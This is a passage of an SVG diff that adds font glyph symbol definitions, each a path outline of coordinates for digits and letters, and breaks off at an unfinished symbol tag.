+<path style="stroke:none;" d="M 0.546875 -3.671875 C 0.546875 -4.992188 0.769531 -5.960938 1.21875 -6.578125 C 1.675781 -7.203125 2.328125 -7.515625 3.171875 -7.515625 C 4.066406 -7.515625 4.726562 -7.195312 5.15625 -6.5625 C 5.582031 -5.925781 5.796875 -4.960938 5.796875 -3.671875 C 5.796875 -2.335938 5.566406 -1.363281 5.109375 -0.75 C 4.648438 -0.132812 4.003906 0.171875 3.171875 0.171875 C 2.265625 0.171875 1.597656 -0.144531 1.171875 -0.78125 C 0.753906 -1.414062 0.546875 -2.378906 0.546875 -3.671875 Z M 1.640625 -3.671875 C 1.640625 -3.234375 1.664062 -2.835938 1.71875 -2.484375 C 1.769531 -2.140625 1.859375 -1.835938 1.984375 -1.578125 C 2.109375 -1.328125 2.269531 -1.128906 2.46875 -0.984375 C 2.664062 -0.847656 2.898438 -0.78125 3.171875 -0.78125 C 3.679688 -0.78125 4.0625 -1.003906 4.3125 -1.453125 C 4.5625 -1.910156 4.6875 -2.648438 4.6875 -3.671875 C 4.6875 -4.085938 4.660156 -4.472656 4.609375 -4.828125 C 4.554688 -5.191406 4.46875 -5.5 4.34375 -5.75 C 4.226562 -6.007812 4.070312 -6.207031 3.875 -6.34375 C 3.675781 -6.488281 3.441406 -6.5625 3.171875 -6.5625 C 2.671875 -6.5625 2.289062 -6.328125 2.03125 -5.859375 C 1.769531 -5.398438 1.640625 -4.671875 1.640625 -3.671875 Z M 1.640625 -3.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 5.484375 0.34375 C 5.484375 1.289062 5.269531 1.988281 4.84375 2.4375 C 4.425781 2.882812 3.816406 3.109375 3.015625 3.109375 C 2.523438 3.109375 2.125 3.066406 1.8125 2.984375 C 1.5 2.898438 1.25 2.804688 1.0625 2.703125 L 1.359375 1.796875 C 1.554688 1.878906 1.769531 1.957031 2 2.03125 C 2.238281 2.113281 2.53125 2.15625 2.875 2.15625 C 3.46875 2.15625 3.875 1.988281 4.09375 1.65625 C 4.320312 1.320312 4.4375 0.765625 4.4375 -0.015625 L 4.4375 -0.5625 L 4.390625 -0.5625 C 4.234375 -0.332031 4.03125 -0.15625 3.78125 -0.03125 C 3.539062 0.09375 3.226562 0.15625 2.84375 0.15625 C 2.050781 0.15625 1.46875 -0.144531 1.09375 -0.75 C 0.726562 -1.363281 0.546875 -2.328125 0.546875 -3.640625 C 0.546875 -4.898438 0.785156 -5.851562 1.265625 -6.5 C 1.753906 -7.144531 2.472656 -7.46875 3.421875 -7.46875 C 3.878906 -7.46875 4.273438 -7.421875 4.609375 -7.328125 C 4.941406 -7.242188 5.234375 -7.144531 5.484375 -7.03125 Z M 4.4375 -6.28125 C 4.132812 -6.4375 3.753906 -6.515625 3.296875 -6.515625 C 2.796875 -6.515625 2.394531 -6.285156 2.09375 -5.828125 C 1.789062 -5.378906 1.640625 -4.65625 1.640625 -3.65625 C 1.640625 -3.238281 1.664062 -2.859375 1.71875 -2.515625 C 1.769531 -2.171875 1.851562 -1.867188 1.96875 -1.609375 C 2.082031 -1.347656 2.226562 -1.144531 2.40625 -1 C 2.59375 -0.863281 2.816406 -0.796875 3.078125 -0.796875 C 3.453125 -0.796875 3.742188 -0.890625 3.953125 -1.078125 C 4.171875 -1.273438 4.332031 -1.570312 4.4375 -1.96875 Z M 4.4375 -6.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 0 2.046875 L 4.90625 2.046875 L 4.90625 3 L 0 3 Z M 0 2.046875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.375 -0.984375 L 3.03125 -0.984375 L 3.03125 -8.125 L 3.171875 -9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-29">
+<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-30">
+<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-31">
+<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-32">
+<path style="stroke:none;" d="M 5.9375 -3.09375 C 5.925781 -2.601562 5.863281 -2.15625 5.75 -1.75 C 5.644531 -1.34375 5.484375 -1 5.265625 -0.71875 C 5.046875 -0.4375 4.773438 -0.21875 4.453125 -0.0625 C 4.128906 0.09375 3.769531 0.171875 3.375 0.171875 C 2.550781 0.171875 1.90625 -0.125 1.4375 -0.71875 C 0.976562 -1.3125 0.75 -2.222656 0.75 -3.453125 C 0.75 -4.484375 0.851562 -5.40625 1.0625 -6.21875 C 1.269531 -7.03125 1.554688 -7.726562 1.921875 -8.3125 C 2.285156 -8.90625 2.710938 -9.378906 3.203125 -9.734375 C 3.691406 -10.085938 4.210938 -10.328125 4.765625 -10.453125 L 5.0625 -9.59375 C 4.625 -9.476562 4.222656 -9.28125 3.859375 -9 C 3.492188 -8.726562 3.175781 -8.394531 2.90625 -8 C 2.632812 -7.613281 2.40625 -7.175781 2.21875 -6.6875 C 2.039062 -6.195312 1.914062 -5.675781 1.84375 -5.125 C 1.976562 -5.382812 2.191406 -5.613281 2.484375 -5.8125 C 2.785156 -6.007812 3.15625 -6.109375 3.59375 -6.109375 C 4.300781 -6.109375 4.863281 -5.859375 5.28125 -5.359375 C 5.707031 -4.859375 5.925781 -4.101562 5.9375 -3.09375 Z M 4.875 -3 C 4.875 -4.4375 4.351562 -5.15625 3.3125 -5.15625 C 2.945312 -5.15625 2.628906 -5.035156 2.359375 -4.796875 C 2.097656 -4.566406 1.910156 -4.300781 1.796875 -4 C 1.785156 -3.875 1.78125 -3.75 1.78125 -3.625 C 1.78125 -3.507812 1.785156 -3.394531 1.796875 -3.28125 C 1.785156 -2.957031 1.8125 -2.644531 1.875 -2.34375 C 1.9375 -2.050781 2.03125 -1.785156 2.15625 -1.546875 C 2.289062 -1.316406 2.457031 -1.128906 2.65625 -0.984375 C 2.863281 -0.847656 3.101562 -0.78125 3.375 -0.78125 C 3.8125 -0.78125 4.171875 -0.972656 4.453125 -1.359375 C 4.734375 -1.753906 4.875 -2.300781 4.875 -3 Z M 4.875 -3 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-33">
+<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-34">
+<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-35">
